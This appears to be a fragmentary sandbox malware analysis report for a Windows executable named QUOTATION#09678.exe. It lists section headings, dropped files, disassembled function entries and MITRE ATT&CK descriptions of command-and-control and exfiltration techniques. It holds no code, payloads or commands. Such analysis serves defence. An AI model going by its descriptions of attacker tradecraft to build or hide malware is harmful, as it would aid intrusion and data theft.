Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_QUOTATION#09678._b7f45236532ada1ff685acd64dd43e177d7657_ab0f4f5a_06831e9c-b9ba-4286-ba94-15da75c0c876\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER116B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER11CA.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF85.tmp.dmp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ammgx2j.24r.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c2yw4jnr.qy2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kv2jtvwm.0ov.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tjseab1j.e44.psm1

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
QUOTATION#09678.exe

Function 00007FFD9B880810 Relevance: 2.0, Strings: 1, Instructions: 713
COMMON

Function 00007FFD9B883FA0 Relevance: 1.8, Strings: 1, Instructions: 514
COMMON

Function 00007FFD9B88BA11 Relevance: 1.4, Instructions: 1365
COMMON

Function 00007FFD9B888E18 Relevance: .9, Instructions: 924
COMMON

Function 00007FFD9B88267A Relevance: 1.6, APIs: 1, Instructions: 145
memoryCOMMON

Function 00007FFD9B880ED1 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre